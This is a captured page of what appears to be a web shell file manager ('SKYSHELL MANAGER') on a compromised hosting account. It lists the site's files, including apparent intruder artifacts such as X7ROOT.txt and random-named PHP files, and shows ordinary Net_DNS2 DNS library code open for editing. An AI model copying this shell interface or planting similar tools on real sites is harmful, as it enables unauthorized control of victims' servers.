📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: OPT.php
<?php /** * DNS Library for handling lookups and updates. * * Copyright (c) 2020, Mike Pultz <mike@mikepultz.com>. All rights reserved. * * See LICENSE for more details. * * @category Networking * @package Net_DNS2 * @author Mike Pultz <mike@mikepultz.com> * @copyright 2020 Mike Pultz <mike@mikepultz.com> * @license http://www.opensource.org/licenses/bsd-license.php BSD License * @link https://netdns2.com/ * @since File available since Release 1.0.0 * */ /** * OPT Resource Record - RFC2929 section 3.1 * * +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+ * | OPTION-CODE | * +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+ * | OPTION-LENGTH | * +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+ * | | * / OPTION-DATA / * / / * +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+ * */ class Net_DNS2_RR_OPT extends Net_DNS2_RR { /* * option code - assigned by IANA */ public $option_code; /* * the length of the option data */ public $option_length; /* * the option data */ public $option_data; /* * the extended response code stored in the TTL */ public $extended_rcode; /* * the implementation level */ public $version; /* * the DO bit used for DNSSEC - RFC3225 */ public $do; /* * the extended flags */ public $z; /** * Constructor - builds a new Net_DNS2_RR_OPT object; normally you wouldn't call * this directly, but OPT RR's are a little different * * @param Net_DNS2_Packet &$packet a Net_DNS2_Packet packet or null to create * an empty object * @param array $rr an array with RR parse values or null to * create an empty object * * @throws Net_DNS2_Exception * @access public * */ public function __construct(Net_DNS2_Packet &$packet = null, array $rr = null) { // // this is for when we're manually building an OPT RR object; we aren't // passing in binary data to parse, we just want a clean/empty object. // $this->type = 'OPT'; $this->rdlength = 0; $this->option_length = 0; $this->extended_rcode = 0; $this->version = 0; $this->do = 0; $this->z = 0; // // everthing else gets passed through to the parent. // if ( (!is_null($packet)) && (!is_null($rr)) ) { parent::__construct($packet, $rr); } } /** * method to return the rdata portion of the packet as a string. There is no * defintion for returning an OPT RR by string- this is just here to validate * the binary parsing / building routines. * * @return string * @access protected * */ protected function rrToString() { return $this->option_code . ' ' . $this->option_data; } /** * parses the rdata portion from a standard DNS config line. There is no * definition for parsing a OPT RR by string- this is just here to validate * the binary parsing / building routines. * * @param array $rdata a string split line of values for the rdata * * @return boolean * @access protected * */ protected function rrFromString(array $rdata) { $this->option_code = array_shift($rdata); $this->option_data = array_shift($rdata); $this->option_length = strlen($this->option_data); $x = unpack('Cextended/Cversion/Cdo/Cz', pack('N', $this->ttl)); $this->extended_rcode = $x['extended']; $this->version = $x['version']; $this->do = ($x['do'] >> 7); $this->z = $x['z']; return true; } /** * parses the rdata of the Net_DNS2_Packet object * * @param Net_DNS2_Packet &$packet a Net_DNS2_Packet packet to parse the RR from * * @return boolean * @access protected * */ protected function rrSet(Net_DNS2_Packet &$packet) { // // parse out the TTL value // $x = unpack('Cextended/Cversion/Cdo/Cz', pack('N', $this->ttl)); $this->extended_rcode = $x['extended']; $this->version = $x['version']; $this->do = ($x['do'] >> 7); $this->z = $x['z']; // // parse the data, if there is any // if ($this->rdlength > 0) { // // unpack the code and length // $x = unpack('noption_code/noption_length', $this->rdata); $this->option_code = $x['option_code']; $this->option_length = $x['option_length']; // // copy out the data based on the length // $this->option_data = substr($this->rdata, 4); } return true; } /** * pre-builds the TTL value for this record; we needed to separate this out * from the rrGet() function, as the logic in the Net_DNS2_RR packs the TTL * value before it builds the rdata value. * * @return void * @access protected * */ protected function preBuild() { // // build the TTL value based on the local values // $ttl = unpack( 'N', pack('CCCC', $this->extended_rcode, $this->version, ($this->do << 7), 0) ); $this->ttl = $ttl[1]; return; } /** * returns the rdata portion of the DNS packet * * @param Net_DNS2_Packet &$packet a Net_DNS2_Packet packet use for * compressed names * * @return mixed either returns a binary packed * string or null on failure * @access protected * */ protected function rrGet(Net_DNS2_Packet &$packet) { // // if there is an option code, then pack that data too // if ($this->option_code) { $data = pack('nn', $this->option_code, $this->option_length) . $this->option_data; $packet->offset += strlen($data); return $data; } return null; } }
Save